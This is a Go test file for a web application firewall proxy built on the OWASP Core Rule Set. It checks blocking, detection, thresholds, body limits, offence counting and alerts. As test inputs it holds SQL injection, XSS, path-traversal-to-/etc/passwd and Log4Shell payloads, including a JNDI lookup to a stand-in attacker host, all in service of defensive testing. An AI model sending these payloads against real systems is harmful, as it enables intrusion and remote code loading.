package proxy_test import ( "io" "net/http" "net/netip" "slices" "strconv" "strings" "testing" "time" "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/requestlog" ) // The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and // its two modes that inspect requests. const ( wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD" wafDisabledRules = "SWWAF_WAF_DISABLED_RULES" wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS" wafBodyLimit = "SWWAF_WAF_BODY_LIMIT" block = "block" detect = "detect" ) // formData is the type of a form's body. const formData = "application/x-www-form-urlencoded" // sqlInjection asks for / with an SQL injection in its query, which only // the Core Rule Set's rule 942100 matches, with a score of 5, the default // SWWAF_WAF_ANOMALY_THRESHOLD. const sqlInjection = "/?id=1'%20OR%20'1'='1" // wantWAF checks the request log line's waf_rule_ids and waf_score, and // that it has duration_waf, or with no score, that it has none of the // three: the Core Rule Set did not inspect the request. func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) { t.Helper() if !slices.Equal(line.WAFRuleIDs, ruleIDs) { t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs) } switch { case score == nil && (line.WAFScore != nil || line.DurationWAF != nil): t.Errorf("log line has waf_score %v and duration_waf %v, want neither", line.fields["waf_score"], line.fields["duration_waf"]) case score != nil && (line.WAFScore == nil || *line.WAFScore != *score): t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score) case score != nil && line.DurationWAF == nil: t.Error("log line has no duration_waf") } } func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) { t.Parallel() for _, attack := range []struct { name, path, header string ruleIDs []int score int }{ {"SQL injection in the query", sqlInjection, "", []int{942100}, 5}, { "script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "", []int{941100, 941110, 941160, 941390}, 20, }, { "path traversal in the path", "/files/../../etc/passwd", "", []int{930100, 930110}, 10, }, { "Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}", []int{944150}, 5, }, {"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5}, { // Coraza keeps the first 1000 query parameters. "SQL injection after 1000 query parameters", "/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "", []int{900300}, 5, }, } { t.Run(attack.name, func(t *testing.T) { t.Parallel() for _, tc := range []struct { mode, action string status int }{ {block, requestlog.ActionWAFBlocked, http.StatusForbidden}, {detect, requestlog.ActionForward, http.StatusOK}, } { s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode}) line, _ := s.requestWithHeader(client, attack.path, attack.header, tc.status, tc.action) wantWAF(t, line, &attack.score, attack.ruleIDs...) } }) } } func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) { t.Parallel() s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source", http.StatusOK, requestlog.ActionForward) wantWAF(t, line, new(0)) } func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal( t *testing.T, ) { t.Parallel() const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS s, _, _ := startWithClock(t, "", map[string]string{ wafMode: block, wafExemptPaths: "/api/", allowNets: allowed, rulesDir: writeRules(t, testRules), }) // A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS // exempts, are not inspected. line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward) wantWAF(t, line, nil) line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK, requestlog.ActionForward) wantWAF(t, line, nil) // The prefix is matched as rate limit exempt paths are: a path that // goes up and out of it is inspected. line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden, requestlog.ActionWAFBlocked) wantWAF(t, line, new(25), 930100, 930110, 942100) // A request a rule file refuses is not inspected. line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden, requestlog.ActionRuleBlocked) wantWAF(t, line, nil) // With SWWAF_WAF_MODE off, no request is. s, _, _ = startWithClock(t, "", map[string]string{wafMode: off}) line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) wantWAF(t, line, nil) } func TestAnomalyThreshold(t *testing.T) { t.Parallel() // A score under the threshold, or with the threshold off, is logged, // and refuses nothing. for _, threshold := range []string{"6", off} { s, _, _ := startWithClock(t, "", map[string]string{ wafMode: block, wafAnomalyThreshold: threshold, }) line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) wantWAF(t, line, new(5), 942100) } s, _, _ := startWithClock(t, "", map[string]string{ wafMode: block, wafAnomalyThreshold: "5", }) s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked) } func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) { t.Parallel() for _, request := range []struct { name, method, path, header string // ruleIDs are the rules that match the request with none // switched off. ruleIDs []int }{ { "git push", http.MethodPost, "/owner/repo.git/git-receive-pack", "Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4", []int{920420, 930130}, }, { "package upload without a type", http.MethodPut, "/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4", []int{920340}, }, { "a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "", []int{920440}, }, { "an editor's settings", http.MethodGet, "/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140}, }, } { t.Run(request.name, func(t *testing.T) { t.Parallel() body := "" if request.method != http.MethodGet { body = "push" } // By default, the rules are switched off. s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) line, _ := s.requestWithBody(request.method, client, request.path, request.header, body, http.StatusOK, requestlog.ActionForward) wantWAF(t, line, new(0)) // A list given replaces the default. s, _, _ = startWithClock(t, "", map[string]string{ wafMode: block, wafDisabledRules: "942100", }) score := 5 * len(request.ruleIDs) line, _ = s.requestWithBody(request.method, client, request.path, request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked) wantWAF(t, line, &score, request.ruleIDs...) // And switches off the rules it lists. line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) wantWAF(t, line, new(0)) }) } } func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) { t.Parallel() const body = "id=1'%20OR%20'1'='1" header := "Content-Type: " + formData + "\r\nContent-Length: " + strconv.Itoa(len(body)) s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body, http.StatusOK, requestlog.ActionForward) wantWAF(t, line, new(0)) s, _, _ = startWithClock(t, "", map[string]string{ wafMode: block, wafBodyLimit: sizeLimitSetting, }) line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body, http.StatusForbidden, requestlog.ActionWAFBlocked) wantWAF(t, line, new(5), 942100) } func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) { t.Parallel() // The app answers with the body it was sent, once it has the whole of // it: Go's server reads no more of a body once the answer has begun. app := startApp(t, func(w http.ResponseWriter, r *http.Request) { body, _ := io.ReadAll(r.Body) _, _ = w.Write(body) }) addr, out := startProxy(t, app.URL, map[string]string{ wafMode: block, wafBodyLimit: sizeLimitSetting, }) longer := "a=" + strings.Repeat("b", 64*sizeLimit) for i, tc := range []struct { name, contentType, body string // announced sends the body's length in Content-Length; otherwise // the body is sent in chunks with no length given. announced bool }{ {"form data within the limit", formData, "a=b", true}, {"form data longer than the limit", formData, longer, true}, {"form data longer than the limit, not announced", formData, longer, false}, { "JSON larger than the limit", "application/json", `{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true, }, { "a binary body", "application/octet-stream", strings.Repeat("\x00\xff", sizeLimit), true, }, } { // A reader whose length the client cannot tell is sent in chunks. var body io.Reader = strings.NewReader(tc.body) if !tc.announced { body = io.MultiReader(body) } req := newRequest(t, http.MethodPost, addr, "/", body) req.Header.Set("Content-Type", tc.contentType) got := do(t, req) if got.status != http.StatusOK || string(got.body) != tc.body { t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200", tc.name, len(got.body), got.status, len(tc.body)) } line := out.requestLines(t, i+1)[i] wantLine(t, line, http.StatusOK, requestlog.ActionForward) if line.RequestBytes != int64(len(tc.body)) { t.Errorf("%s: log line has request_bytes %d, want %d", tc.name, line.RequestBytes, len(tc.body)) } } } func TestFormBodyLongerThanTheLimitStreamsOnToTheApp(t *testing.T) { t.Parallel() const ( first = "a=" // and twice the limit of b's, then the rest rest = 64 * sizeLimit ) // past is closed once the app has received twice what the Core Rule // Set reads, and got is the length of the whole body it received. past := make(chan struct{}) got := make(chan int64, 1) app := startApp(t, func(_ http.ResponseWriter, r *http.Request) { n, _ := io.CopyN(io.Discard, r.Body, 2*sizeLimit) close(past) m, _ := io.Copy(io.Discard, r.Body) got <- n + m }) addr, out := startProxy(t, app.URL, map[string]string{ wafMode: block, wafBodyLimit: sizeLimitSetting, }) // The client sends the rest only once the app has received the first // part: were smallwebwaf to hold the body until the end, it would // never come. body, sender := io.Pipe() go func() { _, _ = io.WriteString(sender, first+strings.Repeat("b", 2*sizeLimit)) select { case <-past: case <-time.After(waitLimit): t.Error("the app got no more than the Core Rule Set reads " + "before the whole body was sent") _ = sender.CloseWithError(io.ErrUnexpectedEOF) return } _, _ = io.WriteString(sender, strings.Repeat("b", rest)) _ = sender.Close() }() req := newRequest(t, http.MethodPost, addr, "/", body) req.Header.Set("Content-Type", formData) wantStatus(t, do(t, req), http.StatusOK) want := int64(len(first) + 2*sizeLimit + rest) if n := <-got; n != want { t.Errorf("the app got %d bytes, want %d", n, want) } wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward) } func TestClientTooSlowToSendWhatTheCoreRuleSetReads(t *testing.T) { t.Parallel() app := startApp(t, func(http.ResponseWriter, *http.Request) {}) addr, out := startProxy(t, app.URL, map[string]string{ wafMode: block, wafBodyLimit: sizeLimitSetting, clientRequestTimeout: shortTimeoutSetting, metricsToken: token, }) conn := dial(t, addr) send(t, conn, "POST /comment HTTP/1.1\r\nHost: app\r\nContent-Type: "+formData+ "\r\nContent-Length: 100\r\n\r\ncontent=the first bytes") wantStatus(t, readResponse(t, conn), http.StatusRequestTimeout) line := out.requestLine(t) wantLine(t, line, http.StatusRequestTimeout, requestlog.ActionTimedOut) wantNotSentToTheApp(t, line) wantLimitHits(t, addr, clientRequestTimeout, 1) } func TestBodyOverTheSizeLimitWhileTheCoreRuleSetReadsIt(t *testing.T) { t.Parallel() app := startApp(t, func(http.ResponseWriter, *http.Request) {}) addr, out := startProxy(t, app.URL, map[string]string{ wafMode: block, wafBodyLimit: "4K", requestMaxBytes: sizeLimitSetting, metricsToken: token, }) // Sent in chunks, its length is not announced, and is found to be over // the limit as the Core Rule Set reads it. body := io.MultiReader(strings.NewReader("a=" + strings.Repeat("b", 2*sizeLimit))) req := newRequest(t, http.MethodPost, addr, "/", body) req.Header.Set("Content-Type", formData) wantStatus(t, do(t, req), http.StatusRequestEntityTooLarge) line := out.requestLine(t) wantLine(t, line, http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge) wantNotSentToTheApp(t, line) wantLimitHits(t, addr, requestMaxBytes, 1) } // wantNotSentToTheApp checks that the request of line was not sent to the // app at all. func wantNotSentToTheApp(t *testing.T, line logLine) { t.Helper() _, sent := line.fields["duration_upstream_total"] if sent { t.Error("log line has duration_upstream_total, for a request sent to the app") } } func TestResponsesAreNotInspected(t *testing.T) { t.Parallel() // A raw shell script, and an SQL error, which the Core Rule Set's rules // for responses take for a leak. const page = "#!/bin/sh\nrm -rf /tmp/build\n" + "You have an error in your SQL syntax; check the manual that " + "corresponds to your MySQL server version\n" app := startApp(t, func(w http.ResponseWriter, _ *http.Request) { _, _ = w.Write([]byte(page)) }) addr, out := startProxy(t, app.URL, map[string]string{wafMode: block}) got := get(t, addr, "/owner/repo/raw/branch/main/build.sh") if got.status != http.StatusOK || string(got.body) != page { t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body) } wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward) } func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) { t.Parallel() const scraper = "192.0.2.200" s, _, server := startWithClock(t, "", map[string]string{ wafMode: block, errorBurstThreshold: "2", metricsToken: token, }) for range 2 { s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked) } // The third refusal in a minute breaks the error burst, and bans the // client. line := s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked) if line.LimitHit != requestlog.LimitHitErrorBurst || line.Offence != requestlog.OffenceLimit { t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit", line.LimitHit, line.Offence) } s.get(client, http.StatusForbidden, requestlog.ActionBanned) want := ratelimit.Offences{Limit: 1, WAFBlocked: 3} if offences := historyOf(t, server, client).Offences; offences != want { t.Errorf("history counts the offences %+v, want %+v", offences, want) } metrics := s.scrape(scraper) wantMetric(t, metrics, `smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3) wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3) wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+ `instance="app",status_class="4xx"}`, 3) } func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) { t.Parallel() const scraper = "192.0.2.200" s, _, server := startWithClock(t, "", map[string]string{ wafMode: detect, errorBurstThreshold: "2", metricsToken: token, }) for range 3 { s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) } s.get(client, http.StatusOK, requestlog.ActionForward) offences := historyOf(t, server, client).Offences if offences != (ratelimit.Offences{}) { t.Errorf("history counts the offences %+v, want none", offences) } metrics := s.scrape(scraper) wantMetric(t, metrics, `smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3) wantNoSeries(t, metrics, `smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`) } func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) { t.Parallel() s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe}) line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) wantWouldAction(t, line, requestlog.ActionWAFBlocked) wantWAF(t, line, new(5), 942100) // It is an offence as in enforce mode. want := ratelimit.Offences{WAFBlocked: 1} if offences := historyOf(t, server, client).Offences; offences != want { t.Errorf("history counts the offences %+v, want %+v", offences, want) } } func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) { t.Parallel() for _, tc := range []struct { name string env map[string]string // status and action are what the request is answered and logged // with, and alertMode what the alert's detail gives as mode, if // anything. status int action, alertMode string }{ { "block", map[string]string{wafMode: block}, http.StatusForbidden, requestlog.ActionWAFBlocked, "", }, { "detect", map[string]string{wafMode: detect}, http.StatusOK, requestlog.ActionForward, detect, }, { "block in observe mode", map[string]string{wafMode: block, mode: observe}, http.StatusOK, requestlog.ActionForward, observe, }, } { t.Run(tc.name, func(t *testing.T) { t.Parallel() s, clk, _, queue := startWithAlerts(t, tc.env) // The second is a repeat, which the cooldown holds back, and an // ordinary request raises none. for range 2 { s.request(client, sqlInjection, tc.status, tc.action) } s.get(client, http.StatusOK, requestlog.ActionForward) detail := map[string]any{ "rule_ids": []int{942100}, "score": 5, "method": http.MethodGet, "path": sqlInjection, } if tc.alertMode != "" { detail["mode"] = tc.alertMode } wantAlerts(t, queue, alerts.Alert{ Instance: alertInstance, Time: clk.Now(), Event: alerts.EventWAFBlock, Client: netip.MustParseAddr(client), Netblock: netip.MustParsePrefix(client + "/32"), Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD", Detail: detail, }) if queue.Suppressed() != 1 { t.Errorf("%d alerts held back, want the repeat", queue.Suppressed()) } }) } }